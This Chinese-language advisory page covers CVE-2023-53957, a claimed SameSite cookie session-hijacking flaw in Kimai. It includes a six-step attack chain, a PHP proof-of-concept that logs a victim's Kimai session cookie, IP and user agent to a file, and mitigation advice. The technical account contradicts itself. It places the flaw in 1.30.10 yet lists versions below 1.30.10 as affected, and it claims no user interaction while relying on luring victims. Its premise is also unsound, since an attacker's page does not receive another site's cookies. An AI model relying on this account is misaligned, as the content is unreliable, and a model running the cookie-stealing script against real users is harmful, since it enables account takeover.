CVE-2023-53957 CVSS 9.8 严重

CVE-2023-53957 Kimai SameSite Cookie会话劫持漏洞

披露日期: 2025-12-19

来源: [email protected]

漏洞信息

漏洞编号

CVE-2023-53957

漏洞类型

SameSite Cookie漏洞

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Kimai

漏洞概述

CVE-2023-53957是Kimai时间追踪应用中的一个严重安全漏洞，CVSS评分高达9.8分（严重级别）。该漏洞存在于Kimai 1.30.10版本中，由于SameSite Cookie配置不当，导致攻击者能够窃取用户会话cookie并实现会话劫持。攻击者通过诱骗受害者访问恶意链接或执行精心构造的PHP脚本，可以捕获并将会话cookie信息写入攻击者控制的文件中。一旦攻击者获取了有效的会话cookie，就可以在不需要用户名和密码的情况下，以受害者身份登录系统，访问敏感数据，执行未授权操作，甚至可能进一步渗透到其他系统。此漏洞无需任何认证且不需要用户交互即可实现攻击，具有极高的危害性。

技术细节

Kimai 1.30.10版本中的SameSite Cookie配置存在严重缺陷。SameSite属性是浏览器用于防止CSRF（跨站请求伪造）攻击的重要安全机制，但该版本中Cookie的SameSite属性被设置为None或未正确配置，导致Cookie可以在跨站请求中被发送。攻击者首先创建一个恶意网页或PHP脚本，该脚本包含精心构造的代码，用于捕获访问者的Cookie信息。当受害者被诱骗访问该恶意页面时，浏览器会自动发送Kimai应用的会话Cookie。恶意脚本接收到Cookie后，会将其写入攻击者预先准备的日志文件或外部服务器。攻击者获取Cookie后，可以在自己的浏览器中注入该Cookie，绕过正常的认证流程，直接以受害者身份访问Kimai系统。

攻击链分析

STEP 1

步骤1

攻击者创建一个恶意PHP脚本，用于捕获并记录访问者的会话Cookie信息

STEP 2

步骤2

攻击者通过钓鱼邮件、社交工程或其他方式诱骗Kimai用户访问恶意链接

STEP 3

步骤3

受害者浏览器访问恶意页面时，自动发送Kimai应用的会话Cookie

STEP 4

步骤4

恶意脚本接收并存储受害者的会话Cookie信息

STEP 5

步骤5

攻击者获取窃取的Cookie，在自己浏览器中注入并绕过认证流程

STEP 6

步骤6

攻击者以受害者身份登录系统，访问敏感数据或执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<?php
// CVE-2023-53957 PoC - Kimai SameSite Cookie Session Hijacking
// This PoC demonstrates the cookie stealing mechanism

$log_file = '/tmp/cookie_steal_log.txt';
$timestamp = date('Y-m-d H:i:s');

// Capture the session cookie from request
$session_cookie = isset($_COOKIE['Kimai']) ? $_COOKIE['Kimai'] : '';
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$remote_addr = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';

if (!empty($session_cookie)) {
    $log_entry = sprintf(
        "[%s] IP: %s | User-Agent: %s | Cookie: %s\n",
        $timestamp,
        $remote_addr,
        $user_agent,
        $session_cookie
    );
    
    file_put_contents($log_file, $log_entry, FILE_APPEND);
    
    echo "Session captured successfully";
} else {
    echo "No session cookie found";
}
?>

影响范围

Kimai < 1.30.10

防御指南

临时缓解措施

如果无法立即升级，可通过Web服务器配置（如Nginx、Apache）或应用代码强制设置SameSite=Strict或SameSite=Lax属性，并确保Cookie同时具有Secure和HttpOnly标志。同时监控异常登录行为，实施IP白名单限制，并考虑启用双因素认证增强账户安全。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表